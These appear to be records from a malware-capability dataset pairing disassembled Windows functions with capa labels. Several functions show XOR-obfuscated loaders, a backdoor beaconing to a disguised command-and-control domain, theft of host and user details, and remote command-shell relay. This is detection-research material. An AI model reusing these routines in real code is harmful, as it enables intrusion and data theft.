joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x402c00
pop dword [ebp - 0x50]
mov eax, 0xadbb2afa
add eax, 0x52850106
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x8d839224
add dword [ebp - 0x60], 0xc0ceb327
mov dword [ebp - 0x5c], 0xbd41e50b
sub dword [ebp - 0x5c], 0x8b0e98c6
mov dword [ebp - 0x58], 0x912bc4d0
add dword [ebp - 0x58], 0xbb207f5e
mov dword [ebp - 0x54], 0x5f2efa5c
add dword [ebp - 0x54], 0xa0d105a4
lea eax, [ebp - 0x60]
push eax
mov eax, 0x18366c
sub eax, 0xffd7b5e0
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x5155e009
sub dword [ebp - 0x60], 0xdce376b3
mov dword [ebp - 0x5c], 0x811828a0
add dword [ebp - 0x5c], 0xc05438d5
mov dword [ebp - 0x58], 0x2be72271
add dword [ebp - 0x58], 0x378849fb
mov dword [ebp - 0x54], 0x9d7245d0
sub dword [ebp - 0x54], 0x9d7245d0
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xe9c4e99c
add eax, 0x167b9738
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3b23e
push 0
call eax
mov ecx, 0x59ce
mov esi, eax
mov edx, 0xafa38be4
add edx, 0x509d841c
add edx, dword [ebp - 0x50]
mov ebx, 0xe453a4a3
sub ebx, 0xb4af7f92
xor dword [ebp - 0x34], edx
mov edi, dword [edx]
xor dword [ebp - 0xc], edx
xor edi, ebx
mov dword [ebp - 0x48], 0x86fa3ea7
mov dword [esi], edi
xor dword [ebp - 0x20], 0xfcdc17d1
add esi, 0xc3a408c9
sub esi, 0xc3a408c5
add edx, 0x6828ef20
add edx, 0x97d710e4
loop 0x402d1c
add eax, 0x57649779
add eax, 0xa89cc292
mov ebx, eax
add eax, 0xf3089f31
sub eax, 0xf3089f2c
mov ecx, 0xdbe52e52
add ecx, 0x245ad1ae
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0xdf1b08
Capabilities:
Encode data using xor

Disassembly:
test byte [eax - 0x45], cl
aad 0xb0
pop edi
out dx, al
fsubr qword [ebp - 0x523763a4]
push eax
aad 0x36
sbb eax, 0x162047a4
mov eax, 0x8cd62c07
into
and al, 0x50
inc ebp
fist dword [ecx + 0x51]
scasd eax, dword es:[edi]
pushal
jmp 0xdf1b12
pushal
call 0xdf1b18
pop ebp
sub ebp, 0x10
sub ebp, 0x9f1b08
jmp 0xdf1b2e
mov eax, 0x9f1b08
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cb
mov edx, 0x12da6b81
xor byte [eax], dl
inc eax
dec ecx
jne 0xdf1b45
jmp 0xdf1b58
or cl, byte [edx + ecx + 8]
mov ebp, 0x818181
inc eax
jns 0xdf1ae5
add dword [ecx - 0x7cc6b37e], 0x3b818181
test eax, 0x76818181
arpl word [edx - 0x72fff5b7], ax
add dword [ecx - 0x2ebb7d7f], 0xda41e9d1
mov dword [0x3ec9e981], eax
std
add dword [eax - 0x4f165a53], 0x69e12ed0
test byte [ecx - 0x4a977e7f], al
add dword [ecx - 0x5a1af37f], 0xa5ad087d
or ch, byte [ebp + 0xa]
add al, 0x89
add dword [ecx - 0x72ebf57f], 0xa818181
or al, 0x91
add dword [ecx - 0x7c97bf7f], 0x430283b0
test eax, ecx
mov es, word [esi*2 + 0xa7e7e7e]
lodsd eax, dword [esi]
movsd dword es:[edi], dword [esi]
or al, 0xe5
movsd dword es:[edi], dword [esi]
test dword [ebx - 0x73], eax
or dword [edx], 0x8185a50d
add dword [ecx - 0x5c25be17], 0x3ec9e981
std
add dword [eax - 0x1af35a53], 0x8d087da5
movsd dword es:[edi], dword [esi]
imul eax, dword [ecx + eax*4 - 0x3b977e7f], 0xd4818183
aad 0xdc
add dword [ecx - 0x7e7c3b98], 0xdcd5d481
jle 0xdf1bee
lea edi, [esi - 0xc]
mov dword [ecx - 7], ebp
add dword [ecx - 0x76c3f57f], 0xb2818181
dec eax
add byte [ebx + 0x61], dh
ljmp 0xea61
Function at 0x4369e2
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x456130]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.004284a0
add esp, 0xc
cmp dword [0x457f1c], 0
jne 0x436aef
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
movzx eax, word [ebp - 0xc]
movzx ecx, word [ebp - 0xa]
shl eax, 0x10
or eax, ecx
cmp dword [ebp - 0x11c], 4
mov dword [0x457f20], eax
jne 0x436a61
mov dword [0x457f1c], 1
jmp 0x436aef
cmp dword [ebp - 0x11c], 5
jne 0x436aae
cmp dword [ebp - 0x118], 0
jne 0x436a7f
mov dword [0x457f1c], 2
jmp 0x436aef
cmp dword [ebp - 0x118], 1
jne 0x436a94
mov dword [0x457f1c], 3
jmp 0x436aef
xor eax, eax
cmp dword [ebp - 0x118], 2
setne al
dec eax
and eax, 0xfffffffb
add eax, 9
mov dword [0x457f1c], eax
jmp 0x436aef
cmp dword [ebp - 0x11c], 6
jne 0x436ae5
cmp dword [ebp - 0x118], 0
jne 0x436ace
xor eax, eax
cmp byte [ebp - 6], 1
setne al
add eax, 5
jmp 0x436aa7
cmp dword [ebp - 0x118], 1
jne 0x436ae5
xor eax, eax
cmp byte [ebp - 6], 1
setne al
add eax, 7
jmp 0x436aa7
mov dword [0x457f1c], 9
mov eax, dword [0x457f1c]
mov ecx, dword [ebp - 4]
mov dword [edi], eax
mov eax, dword [0x457f20]
pop edi
mov dword [ebx], eax
xor ecx, ebp
pop ebx
call fcn.0042851a
leave
ret 8

Function at 0x436c19
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x436c3d
test al, 0x10
je 0x436c3d
mov ecx, dword [ebp + 0xc]
test ecx, ecx
je 0x436c3a
mov dword [ecx], eax
xor esi, esi
inc esi
mov eax, esi
pop esi
pop ebp
ret 8

Function at 0x436c44
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x436d0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x436d0c
cmp eax, 3
je 0x436c85
push edi
push ebx
call fcn.00436c19
test eax, eax
jne 0x436d0c
movzx eax, word [ebx]
push esi
xor esi, esi
mov ecx, ebx
test ax, ax
je 0x436ca9
cmp ax, 0x5c
jne 0x436c9a
mov esi, ecx
add ecx, 2
movzx eax, word [ecx]
test ax, ax
jne 0x436c92
test esi, esi
jne 0x436cbd
mov edi, 0x80070003
push edi
push 0x7a
push str.dirutil.cpp
call fcn.00432f68
jmp 0x436d0b
push dword [ebp + 0xc]
xor eax, eax
push ebx
mov word [esi], ax
call fcn.00436c44
mov edi, eax
push 0x5c
pop eax
mov word [esi], ax
test edi, edi
js 0x436d0b
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x436d09
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x436cf7
xor edi, edi
inc edi
jmp 0x436d0b
test eax, eax
jle 0x436d05
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
jmp 0x436d0b
xor edi, edi
pop esi
mov eax, edi
pop edi
pop ebx
pop ebp
ret 8
Function at 0x401144
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x468
mov eax, dword [0x414008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
call fcn.00401000
push 0x40c
xor ebx, ebx
mov dword [ebp - 0x414], 0x22
lea eax, [ebp - 0x410]
push ebx
push eax
call fcn.00401de0
add esp, 0xc
lea eax, [ebp - 0x412]
mov esi, 0x207
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x401259
cmp eax, esi
jae 0x401259
mov esi, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea eax, [ebp - 0x412]
push eax
call esi
lea eax, [ebp - 0x412]
push eax
call esi
push str.GoogleUpdate.exe
lea eax, [ebp - 0x412]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
test eax, eax
je 0x401259
push str.___ondemand
push 0x208
lea eax, [ebp - 0x414]
push eax
call fcn.00401046
test eax, eax
js 0x40125e
push edi
push 0x40
lea eax, [ebp - 0x464]
mov dword [ebp - 0x468], 0x44
push ebx
push eax
call fcn.00401de0
xor eax, eax
lea edi, [ebp - 0x424]
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x468]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x414]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
test eax, eax
je 0x401259
push dword [ebp - 0x424]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x420]
call esi
xor eax, eax
jmp 0x40125e
call fcn.0040102b
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004014b9
leave
ret 0x10

Function at 0x4014af
Capabilities:
Access peb ldr_data

Disassembly:
push esi
push ebx
push edx
sub esi, esi
add esi, 0x30
mov ebx, dword fs:[esi]
push ds
push ecx
mov ecx, dword [ebx + 8]
dec ebx
mov edx, dword [ebx + 0xd]
lea esi, [edx]
add esi, 0xc
mov ebx, dword [esi]
push edi
Function at 0x401d00
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x19c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x198], eax
push ebx
push esi
push edi
lea eax, [esp + 0x10]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x22
call fcn.00404ce6
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
xorps xmm0, xmm0
add esp, 4
mov dword [0x41a188], eax
movdqu xmmword [eax], xmm0
movdqu xmmword [eax + 0x10], xmm0
mov word [eax + 0x20], 0
mov dword [eax + 0xc], 0x6c2e6d6f
mov dword [eax + 4], 0x61647075
mov dword [eax], 0x2e777777
mov dword [eax + 0x18], 0x6365746e
mov dword [eax + 8], 0x632e6574
mov dword [eax + 0x14], 0x616d7973
mov dword [eax + 0x10], 0x2d657669
mov dword [eax + 0x1c], 0x6d6f632e
call esi
call esi
call esi
cmp eax, 0xff00ff00
jne 0x401daf
xor eax, eax
mov ecx, dword [esp + 0x1a4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov dword [esp + 0xc], eax
cmp eax, 4
jae 0x401e9c
mov esi, dword [eax + 0x41a188]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov edi, eax
cmp edi, 0xffffffff
je 0x401ddc
test edi, edi
jne 0x401dfa
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x401e90
mov eax, dword [eax + 0xc]
test eax, eax
je 0x401e90
mov eax, dword [eax]
mov edi, dword [eax]
cmp edi, 0xffffffff
je 0x401e89
cmp edi, 0x6f6f6f6f
je 0x401e89
cmp edi, 0xdededede
je 0x401e89
test edi, edi
je 0x401e90
xor esi, esi
lea ecx, [ecx]
movzx ebx, word [esi + 0x4167f0]
xor eax, eax
cmp ax, bx
je 0x401e68
push 0x10
push 0x419200
push 0x10
push 0x4191f0
call fcn.00404d78
add esp, 0x10
mov ecx, 0x4191f0
call fcn.00401670
mov edx, ebx
mov ecx, edi
call fcn.00401eb0
test eax, eax
js 0x401d9a
cmp eax, 1
je 0x401daf
add esi, 2
cmp esi, 4
jb 0x401e20
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call ebx
mov eax, dword [esp + 0xc]
add eax, 4
jmp 0x401db7
push 0x7530
call ebx
mov eax, dword [esp + 0xc]
add eax, 4
jmp 0x401db7
push 0x3e8
call ebx
jmp 0x401db5
Function at 0x401eb0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 6
push 1
push 2
mov edi, edx
mov ebx, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x401f0a
mov eax, 2
push edi
mov word [ebp - 0x28], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x26], ax
lea eax, [ebp - 0x28]
push 0x10
push eax
push esi
mov dword [ebp - 0x24], ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401f1d
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
push 4
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x3c], 1
push eax
push 8
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x401f03
push 0
push 0
lea eax, [ebp - 0x38]
mov dword [ebp - 0x34], 0
push eax
push 0xc
lea eax, [ebp - 0x34]
mov dword [ebp - 0x18], 1
push eax
push 0xc
lea eax, [ebp - 0x18]
mov dword [ebp - 0x38], 0
push eax
xorps xmm0, xmm0
push 0x98000004
movq qword [ebp - 0x14], xmm0
push esi
movq qword [ebp - 0x30], xmm0
mov dword [ebp - 0x14], 0x1388
mov dword [ebp - 0x10], 0x1388
call dword [sym.imp.WS2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
je 0x401f03
mov ecx, esi
call fcn.004023d0
test eax, eax
jle 0x401f03
mov eax, dword [0x4167f4]
mov dl, 0x10
mov dword [ebp - 0xc], eax
mov ax, word [0x4167f8]
push ecx
mov word [ebp - 8], ax
mov ecx, esi
lea eax, [ebp - 0xc]
push 5
push eax
call fcn.00402020
add esp, 0xc
test eax, eax
jle 0x401f03
mov ecx, esi
call fcn.004024f0
test eax, eax
jle 0x401f03
mov ecx, esi
call fcn.004025b0
test eax, eax
jle 0x401f03
mov ecx, esi
call fcn.004027a0
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
Function at 0x402020
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x41a170
mov byte [ebp - 0x15], dl
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x24], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [ebp + 0xc]
mov eax, edi
and eax, 0x8000000f
jns 0x40205b
dec eax
or eax, 0xfffffff0
inc eax
mov eax, edi
je 0x40206c
cdq
and edx, 0xf
add eax, edx
sar eax, 4
inc eax
shl eax, 4
add eax, 5
push eax
mov dword [ebp - 0x1c], eax
call fcn.00404e1d
mov ebx, eax
add esp, 4
mov dword [ebp - 0x20], ebx
test ebx, ebx
jne 0x4020a1
push eax
call fcn.00404e93
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x1c]
push 0
push ebx
call fcn.00406620
mov al, byte [ebp - 0x15]
add esp, 0xc
mov byte [ebx], al
mov dword [ebx + 1], edi
test esi, esi
je 0x402133
test edi, edi
jle 0x402133
xor esi, esi
test edi, edi
jle 0x4020ec
lea eax, [ebx + 5]
mov ebx, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov edi, edi
push ecx
lea edx, [eax + esi]
lea ecx, [ebx + esi]
call fcn.00401820
mov eax, dword [ebp - 0x28]
add esi, 0x10
add esp, 4
cmp esi, edi
jl 0x4020d0
mov ebx, dword [ebp - 0x20]
cmp esi, edi
jle 0x402133
sub esi, 0x10
xorps xmm0, xmm0
mov edx, esi
movdqu xmmword [ebp - 0x14], xmm0
cmp esi, edi
jge 0x402122
mov ebx, dword [ebp - 0x24]
mov ecx, edx
and ecx, 0x8000000f
jns 0x402113
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebx + edx]
inc edx
mov byte [ebp + ecx - 0x14], al
cmp edx, edi
jl 0x402104
mov ebx, dword [ebp - 0x20]
push ecx
lea edx, [esi + 5]
add edx, ebx
lea ecx, [ebp - 0x14]
call fcn.00401820
add esp, 4
push 0
push dword [ebp - 0x1c]
push ebx
push dword [ebp - 0x2c]
call dword [sym.imp.WS2_32.dll_send]
push ebx
call fcn.00404e93
add esp, 4
push 0x41a170
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
lea eax, [edi + 5]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
Function at 0x4023d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov ebx, ecx
call fcn.00404ec9
add esp, 4
push eax
call fcn.00404eb9
add esp, 4
mov edi, 0xff
xor esi, esi
call fcn.00404e98
cdq
idiv edi
mov byte [ebp + esi - 0x14], dl
inc esi
cmp esi, 0x10
jl 0x402402
push 0x200
lea eax, [ebp - 0x31c]
push 0
push eax
call fcn.00406620
add esp, 0xc
lea eax, [ebp - 0x428]
push 0x100
push 0
push eax
call fcn.00406620
mov ax, word [0x4190ec]
lea edi, [ebp - 0x31c]
movdqu xmm0, xmmword [ebp - 0x14]
mov dword [ebp - 0x320], 0x800
lea edx, [ebp - 0x324]
mov ecx, 0x40
mov esi, 0x4190f0
rep movsd dword es:[edi], dword [esi]
mov word [ebp - 0x11f], ax
add esp, 0xc
mov al, byte [0x4190ee]
mov byte [ebp - 0x11d], al
lea eax, [ebp - 0x320]
movdqu xmmword [ebp - 0x428], xmm0
push eax
push ecx
lea eax, [ebp - 0x428]
push eax
lea ecx, [ebp - 0x118]
call fcn.00404a50
add esp, 0xc
lea eax, [ebp - 0x118]
push 0
push dword [ebp - 0x324]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
test esi, esi
jg 0x4024d4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x14]
call fcn.00401670
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
Function at 0x4025b0
Capabilities:
Get hostname
Get session user name
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1bc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x40
xor edi, edi
mov dword [ebp - 0x1bc], 0x40
lea eax, [ebp - 0x74]
mov ebx, ecx
push edi
push eax
call fcn.00406620
push 0x40
lea eax, [ebp - 0xb4]
push edi
push eax
call fcn.00406620
add esp, 0x18
lea eax, [ebp - 0x1bc]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x14], xmm0
push eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x1bc]
mov dword [ebp - 0x1bc], 0x40
push eax
lea eax, [ebp - 0xb4]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x104
push edi
mov eax, dword [eax + 0xc]
mov esi, dword [eax]
lea eax, [ebp - 0x1b8]
push eax
mov esi, dword [esi]
call fcn.00406620
add esp, 0xc
push esi
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea eax, [ebp - 0x1b8]
push 0x104
push eax
call fcn.00404f1a
push 0x416804
lea eax, [ebp - 0x1b8]
push 0x104
push eax
call fcn.00404f6f
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x1b8]
push 0x104
push eax
call fcn.00404f6f
push 0x416808
lea eax, [ebp - 0x1b8]
push 0x104
push eax
call fcn.00404f6f
lea eax, [ebp - 0xb4]
push eax
lea eax, [ebp - 0x1b8]
push 0x104
push eax
call fcn.00404f6f
push 0x416804
lea eax, [ebp - 0x1b8]
push 0x104
push eax
call fcn.00404f6f
add esp, 0x48
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov ecx, eax
movzx edx, al
shr ecx, 8
movzx ecx, cl
cmp eax, 0x80000000
jae 0x4026f7
mov edi, eax
shr edi, 0x10
push edi
push ecx
push edx
lea eax, [ebp - 0x14]
push 0x41680c
push eax
call fcn.00404fd2
lea eax, [ebp - 0x14]
add esp, 0x14
mov esi, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402710
lea edi, [ebp - 0x1b8]
sub eax, esi
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x402720
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x41681c
lea eax, [ebp - 0x34]
push 0x20
push eax
call fcn.00405056
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x1b8]
push 0x104
push eax
call fcn.00404f6f
lea ecx, [ebp - 0x1b8]
add esp, 0x1c
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402770
sub ecx, edx
lea eax, [ebp - 0x1b8]
push ecx
push ecx
push eax
mov dl, 0x11
mov ecx, ebx
call fcn.00402020
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00404cd7
mov esp, ebp
pop ebp
ret
Function at 0x402db0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x84]
mov esi, ecx
push eax
push 0x80
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov edx, eax
test edx, edx
jne 0x402e09
push str.error
lea eax, [ebp - 0x84]
push 0x80
push eax
call fcn.00404f1a
lea edx, [ebp - 0x84]
add esp, 0xc
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x402e00
sub edx, ecx
push ecx
push edx
lea eax, [ebp - 0x84]
mov dl, 0x20
push eax
mov ecx, esi
call fcn.00402020
mov ecx, dword [ebp - 4]
add esp, 0xc
xor ecx, ebp
pop esi
call fcn.00404cd7
mov esp, ebp
pop ebp
ret

Function at 0x4032a0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x14
mov esi, ecx
call fcn.00404e1d
mov dword [0x41a320], eax
xorps xmm0, xmm0
add esp, 4
movdqu xmmword [eax], xmm0
mov eax, dword [0x41a320]
mov dword [eax + 0x10], 0
mov eax, dword [0x41a320]
mov dword [eax], esi
mov esi, dword [ebp + 8]
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4032d7
sub ecx, edx
mov edx, 2
sar ecx, 1
lea eax, [ecx + 1]
xor ecx, ecx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00404e1d
mov ecx, dword [0x41a320]
add esp, 4
mov dword [ecx + 4], eax
mov eax, dword [0x41a320]
mov ecx, dword [eax + 4]
movzx eax, word [esi]
lea esi, [esi + 2]
mov word [ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x403313
push 0
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov ecx, dword [0x41a320]
push 0
push 0
mov dword [ecx + 0xc], eax
push dword [0x41a320]
push 0x402fc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x41a320]
pop esi
mov dword [ecx + 8], eax
mov eax, dword [0x41a320]
cmp dword [eax + 8], 0
jne 0x4033a8
push dword [eax + 4]
call fcn.00404e93
mov eax, dword [0x41a320]
add esp, 4
mov dword [eax + 4], 0
mov eax, dword [0x41a320]
push dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x41a320]
mov dword [eax + 0xc], 0
push dword [0x41a320]
call fcn.00404e93
add esp, 4
xor eax, eax
pop ebp
ret
Function at 0x4033b0
Capabilities:
Send data
Send data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push dword [0x41a140]
mov dword [ebp - 4], edx
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x4033ea
cmp dword [ebp - 8], 0x103
je 0x4033ea
mov dword [0x41a150], 0
jmp 0x4033f3
cmp dword [0x41a150], 0
jne 0x40345c
push 0x41a170
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 5
call fcn.00404e1d
add esp, 4
mov esi, eax
push 0
test esi, esi
jne 0x403421
call fcn.00404e93
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 5
mov dword [esi], 0
push esi
mov byte [esi + 4], 0
push ebx
mov byte [esi], 0x61
mov dword [esi + 1], 0
call dword [sym.imp.WS2_32.dll_send]
push esi
call fcn.00404e93
add esp, 4
push 0x41a170
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [edi + 3]
push eax
call fcn.00404e1d
push edi
push dword [ebp - 4]
mov esi, eax
push esi
call fcn.00405fd0
add esp, 0x10
mov byte [edi + esi], 0
lea ecx, [esi - 1]
jmp 0x403480
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x403480
mov ax, word [0x416854]
mov word [ecx], ax
mov al, byte [0x416856]
mov byte [ecx + 2], al
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4034a0
push 0
lea eax, [ebp - 0xc]
sub ecx, edx
push eax
push ecx
push esi
push dword [0x41a168]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4034de
push ecx
push 0xa
push str.CMD_Error_
mov dl, 0x62
mov ecx, ebx
call fcn.00402020
add esp, 0xc
xor eax, eax
pop edi
pop esi
pop ebx
